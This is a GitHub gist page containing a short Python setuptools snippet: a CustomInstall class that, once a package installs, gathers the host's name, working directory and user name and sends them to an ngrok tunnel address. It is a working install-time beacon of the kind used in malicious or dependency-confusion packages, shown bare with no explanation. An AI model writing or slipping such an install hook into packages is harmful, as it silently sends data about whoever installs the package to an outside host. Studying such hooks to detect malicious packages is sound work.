Skip to content

Instantly share code, notes, and snippets.

@Aviadg
Created November 2, 2022 11:11
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Aviadg/7fa55ea3542a06c4304078eecbc3c957 to your computer and use it in GitHub Desktop.
Save Aviadg/7fa55ea3542a06c4304078eecbc3c957 to your computer and use it in GitHub Desktop.
class CustomInstall(install):
def run(self):
install.run(self)
hostname=socket.gethostname()
cwd = os.getcwd()
username = getpass.getuser()
ploads = {'hostname':hostname,'cwd':cwd,'username':username}
requests.get("https://49b8-156-205-125-10.eu.ngrok.io",params = ploads)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment